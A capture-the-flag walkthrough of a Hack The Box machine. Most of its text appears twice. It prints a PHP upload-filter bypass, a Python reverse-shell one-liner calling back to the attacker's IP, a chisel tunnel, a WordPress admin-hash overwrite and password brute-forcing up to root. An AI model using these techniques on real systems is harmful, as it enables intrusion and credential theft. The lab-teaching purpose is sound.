This machine with Hack The Box really blew my mind when I was trying to get through it. It involved bypassing download filters, working with WordPress, and a virtual machine with an encrypted disk inside another virtual machine. It was quite a combo. But untangling these tangled knots is simply an absolute thrill.
In this guide, I'll walk you through everything step by step: from port scanning to the final root access via LUKS decryption. I won't miss a thing; it's all there, plainly visible.
---
Reconnaissance: Where It All Begins
Any sensible penetration test begins with reconnaissance. You can poke around exploits as much as you want, but without understanding what's going on, you're just a blind kitten.
First, I add the IP address to the hosts file to avoid fiddling with numbers:
echo "10.10.11.173 moderators.htb" >> /etc/hosts
Scanning ports
For tasks like this, I use a simple script that does a two-pass scan. First, I quickly scan all the ports, then I do a detailed scan of the ones found:
#!/bin/bash ports=$(nmap-p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap-p$ports -A $1
I run it and get:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 80/tcp open http Apache httpd 2.4.41
Only two ports. Let's leave SSH alone for now; let's go to the web server.
---
Web Application Reconnaissance
I open a website—some kind of blog with posts. The first thing I always do is look for hidden files and directories. For this, I use my favorite tool, ffuf—a fast Go fuzzer.
I run directory enumeration:
ffuf -u 'http://moderators.htb/FUZZ' -r -w directory_2.3_medium_lowercase.txt -t 256
I find the logs directory, but it's empty. Okay, let's move on. Since the pages have the .php extension, I need to look for PHP files:
ffuf -u 'http://moderators.htb/FUZZ.php' -r -w php_files_common.txt -t 256
I find a bunch of files: index.php, about.php, contact.php, and the most interesting one, reports.php. I visit it—it redirects to the main page. So there's something there, but access is blocked.
---
Finding a vulnerability in reports
In one of the blog posts, I read about an XSS vulnerability someone found in the reporting system. It mentions that reports are identified by numeric IDs. That's a bit more promising.
I launch Burp Intruder and cycle through the report parameter from 1 to 1000. I find several available reports. One of them leads to a file upload page:
---
Point of support: uploading a shell
I go to the upload page. I try uploading a simple PHP script:
<?php echo system('id'); ?>
The response: "Only PDFs allowed." So, it's a filter by extension.
I try the classic method—the double extension shell.pdf.php. The file downloads, but doesn't execute. Apparently, they're looking at the MIME type or checking the contents.
So I take a different approach. I take a real PDF file, open it in a hex editor, save the %PDF-1.4 header, and replace the rest of the contents with a PHP shell. I upload it—it works!
Now I need to find where this file is. After several attempts, I find the /uploads/ directory. I go to http://moderators.htb/uploads/shell.pdf.php and see the output of the id command. I have contact!
For convenience, I use weevely3—it generates obfuscated shells and provides a user-friendly client.
weevely generate password shell.php
I paste the code into the PDF stub, upload it, and connect:
weevelyhttp://moderators.htb/uploads/shell.pdf.php password
Now I can launch a full-fledged reverse shell. I run the listener on my machine:
pwncat-cs-lp 4321
On the target machine, I run:
python3-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.22",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
I get a shell from user lexi.
---
Reconnaissance within the system
Now I need to figure out what's going on here. For this, I'm using linpeas.sh from the PEASS suite. The script collects a ton of information: processes, open ports, network connections.
I see a web server running on port 8080, but it's unreachable externally. I need to forward the port to myself.
I'm using chisel, a handy tunneling utility. I start the server on my machine:
./chisel.bin server--reverse -p 5432
I start the client on the target machine:
./chisel.bin client 10.10.14.22:5432 R:8088:localhost:8080
I open http://localhost:8088 in the browser and see the WordPress site.
---
WordPress: Getting Accounts
I go to the plugin directory:
ls/var/www/html/wp-content/plugins/
I see two interesting ones: Brandfolder integration and a password manager.
From wp-config.php, I get the database connection information:
define('DB_NAME','wordpress'); define('DB_USER','wordpressuser'); define('DB_PASSWORD','wordpresspassword123');
Connect to MySQL:
mysql -h localhost -u wordpressuser -D wordpress -pwordpresspassword123
I look at the users:
SELECT * FROM wp_users;
I see the password hashes. I try brute-forcing them, but they're not working; the passwords are complex. But there's another way: replace the admin's hash with your own.
Generating a new hash for the password admin123 (WordPress uses phpass):
<?php echo password_hash('admin123', PASSWORD_BCRYPT); ?>
Updating in the database:
UPDATE wp_users SET user_pass= 'new_hash' WHERE user_login = 'admin';
Logging into the WordPress admin panel as an admin. In the password manager plugin, I find saved accounts—the password for user john is there.
Switching to john:
su john
---
Local privilege escalation: VirtualBox
In john's home directory, I find the stuff/VBOX folder with the virtual machine files and correspondence about this VM.
I download the files to my directory:
scp -i john_id_rsa [email protected]:~/stuff/VBOX/* ./
I try to start the VM - an error occurs. I open the .vbox file and see that the disk paths are incorrect.
I edit the config:
Remove the DVD drive
Remove the extra Ubuntu.vdi disk
Change the path to 2019.vdi to the correct one
Edit StorageControllers
Now the VM starts, but the disk is encrypted.
---
Cracking VirtualBox encryption
In the config, I see that the disk is encrypted. I use pyvboxdie-cracker to brute-force the password:
python3 pyvboxdie-cracker.py -v ../2019-08-01.vbox -d ~/tmp/wordlists/Passwords/1.pass_1564.txt
After a while, I get the password: computer.
I go to the virtual machine settings, uncheck "Encrypt disk," and enter the password. The disk is decrypted.
I start the virtual machine—it doesn't boot; the disk isn't a system disk. So, I just mount it.
---
Mounting the LUKS partition
I mount the disk as an NBD device:
sudo modprobe nbd max_part=8 sudo qemu-nbd-c /dev/nbd0 2019.vdi
I see the partitions. One of them is encrypted with LUKS. I bruteforce the LUKS password:
sudo./bruteforce-luks-static-linux-amd64 -f 1.pass_1564.txt /dev/nbd0p1
The same password is found: computer.
I open the LUKS partition:
sudo cryptsetup luksOpen /dev/nbd0p1 newdisk
I mount it:
sudo mount /dev/mapper/newdisk /mnt
On the disk, I find the "scripts" directory. One of the scripts contains the password for sudo on the main machine.
---
Final step: root on the main system
I return to the remote machine (user john). I try the password I found:
sudo -i
I enter the password, and I'm root. The flag is in.
After winning, don't forget to clean up after yourself on the local machine:
sudo umount /mnt sudo cryptsetup luksClose /dev/mapper/newdisk sudo qemu-nbd-d /dev/nbd0 sudo modprobe -r nbd
---
What we did
1. Scanned ports, found the web server.
2. Fuzzed and found the hidden download page.
3. Tricked the download filter by inserting a PHP shell into the PDF.
4. Gained access via weevely, installed a reverse shell.
5. Forwarded ports via chisel, found WordPress.
6. Dumped the database, replaced the admin hash, and logged into the admin panel.
7. Found the password for user john.
8. Downloaded the virtual machine and decrypted the disk via brute force.
9. Mounted the LUKS partition and found the sudo password.
10. Became root.
The machine is completely compromised.
In this guide, I'll walk you through everything step by step: from port scanning to the final root access via LUKS decryption. I won't miss a thing; it's all there, plainly visible.
---
Reconnaissance: Where It All Begins
Any sensible penetration test begins with reconnaissance. You can poke around exploits as much as you want, but without understanding what's going on, you're just a blind kitten.
First, I add the IP address to the hosts file to avoid fiddling with numbers:
echo "10.10.11.173 moderators.htb" >> /etc/hosts
Scanning ports
For tasks like this, I use a simple script that does a two-pass scan. First, I quickly scan all the ports, then I do a detailed scan of the ones found:
#!/bin/bash ports=$(nmap-p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap-p$ports -A $1
I run it and get:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 80/tcp open http Apache httpd 2.4.41
Only two ports. Let's leave SSH alone for now; let's go to the web server.
---
Web Application Reconnaissance
I open a website—some kind of blog with posts. The first thing I always do is look for hidden files and directories. For this, I use my favorite tool, ffuf—a fast Go fuzzer.
I run directory enumeration:
ffuf -u 'http://moderators.htb/FUZZ' -r -w directory_2.3_medium_lowercase.txt -t 256
I find the logs directory, but it's empty. Okay, let's move on. Since the pages have the .php extension, I need to look for PHP files:
ffuf -u 'http://moderators.htb/FUZZ.php' -r -w php_files_common.txt -t 256
I find a bunch of files: index.php, about.php, contact.php, and the most interesting one, reports.php. I visit it—it redirects to the main page. So there's something there, but access is blocked.
---
Finding a vulnerability in reports
In one of the blog posts, I read about an XSS vulnerability someone found in the reporting system. It mentions that reports are identified by numeric IDs. That's a bit more promising.
I launch Burp Intruder and cycle through the report parameter from 1 to 1000. I find several available reports. One of them leads to a file upload page:
---
Point of support: uploading a shell
I go to the upload page. I try uploading a simple PHP script:
<?php echo system('id'); ?>
The response: "Only PDFs allowed." So, it's a filter by extension.
I try the classic method—the double extension shell.pdf.php. The file downloads, but doesn't execute. Apparently, they're looking at the MIME type or checking the contents.
So I take a different approach. I take a real PDF file, open it in a hex editor, save the %PDF-1.4 header, and replace the rest of the contents with a PHP shell. I upload it—it works!
Now I need to find where this file is. After several attempts, I find the /uploads/ directory. I go to http://moderators.htb/uploads/shell.pdf.php and see the output of the id command. I have contact!
For convenience, I use weevely3—it generates obfuscated shells and provides a user-friendly client.
weevely generate password shell.php
I paste the code into the PDF stub, upload it, and connect:
weevelyhttp://moderators.htb/uploads/shell.pdf.php password
Now I can launch a full-fledged reverse shell. I run the listener on my machine:
pwncat-cs-lp 4321
On the target machine, I run:
python3-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.22",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
I get a shell from user lexi.
---
Reconnaissance within the system
Now I need to figure out what's going on here. For this, I'm using linpeas.sh from the PEASS suite. The script collects a ton of information: processes, open ports, network connections.
I see a web server running on port 8080, but it's unreachable externally. I need to forward the port to myself.
I'm using chisel, a handy tunneling utility. I start the server on my machine:
./chisel.bin server--reverse -p 5432
I start the client on the target machine:
./chisel.bin client 10.10.14.22:5432 R:8088:localhost:8080
I open http://localhost:8088 in the browser and see the WordPress site.
---
WordPress: Getting Accounts
I go to the plugin directory:
ls/var/www/html/wp-content/plugins/
I see two interesting ones: Brandfolder integration and a password manager.
From wp-config.php, I get the database connection information:
define('DB_NAME','wordpress'); define('DB_USER','wordpressuser'); define('DB_PASSWORD','wordpresspassword123');
Connect to MySQL:
mysql -h localhost -u wordpressuser -D wordpress -pwordpresspassword123
I look at the users:
SELECT * FROM wp_users;
I see the password hashes. I try brute-forcing them, but they're not working; the passwords are complex. But there's another way: replace the admin's hash with your own.
Generating a new hash for the password admin123 (WordPress uses phpass):
<?php echo password_hash('admin123', PASSWORD_BCRYPT); ?>
Updating in the database:
UPDATE wp_users SET user_pass= 'new_hash' WHERE user_login = 'admin';
Logging into the WordPress admin panel as an admin. In the password manager plugin, I find saved accounts—the password for user john is there.
Switching to john:
su john
---
Local privilege escalation: VirtualBox
In john's home directory, I find the stuff/VBOX folder with the virtual machine files and correspondence about this VM.
I download the files to my directory:
scp -i john_id_rsa [email protected]:~/stuff/VBOX/* ./
I try to start the VM - an error occurs. I open the .vbox file and see that the disk paths are incorrect.
I edit the config:
Remove the DVD drive
Remove the extra Ubuntu.vdi disk
Change the path to 2019.vdi to the correct one
Edit StorageControllers
Now the VM starts, but the disk is encrypted.
---
Cracking VirtualBox encryption
In the config, I see that the disk is encrypted. I use pyvboxdie-cracker to brute-force the password:
python3 pyvboxdie-cracker.py -v ../2019-08-01.vbox -d ~/tmp/wordlists/Passwords/1.pass_1564.txt
After a while, I get the password: computer.
I go to the virtual machine settings, uncheck "Encrypt disk," and enter the password. The disk is decrypted.
I start the virtual machine—it doesn't boot; the disk isn't a system disk. So, I just mount it.
---
Mounting the LUKS partition
I mount the disk as an NBD device:
sudo modprobe nbd max_part=8 sudo qemu-nbd-c /dev/nbd0 2019.vdi
I see the partitions. One of them is encrypted with LUKS. I bruteforce the LUKS password:
sudo./bruteforce-luks-static-linux-amd64 -f 1.pass_1564.txt /dev/nbd0p1
The same password is found: computer.
I open the LUKS partition:
sudo cryptsetup luksOpen /dev/nbd0p1 newdisk
I mount it:
sudo mount /dev/mapper/newdisk /mnt
On the disk, I find the "scripts" directory. One of the scripts contains the password for sudo on the main machine.
---
Final step: root on the main system
I return to the remote machine (user john). I try the password I found:
sudo -i
I enter the password, and I'm root. The flag is in.
After winning, don't forget to clean up after yourself on the local machine:
sudo umount /mnt sudo cryptsetup luksClose /dev/mapper/newdisk sudo qemu-nbd-d /dev/nbd0 sudo modprobe -r nbd
---
What we did
1. Scanned ports, found the web server.
2. Fuzzed and found the hidden download page.
3. Tricked the download filter by inserting a PHP shell into the PDF.
4. Gained access via weevely, installed a reverse shell.
5. Forwarded ports via chisel, found WordPress.
6. Dumped the database, replaced the admin hash, and logged into the admin panel.
7. Found the password for user john.
8. Downloaded the virtual machine and decrypted the disk via brute force.
9. Mounted the LUKS partition and found the sudo password.
10. Became root.
The machine is completely compromised.
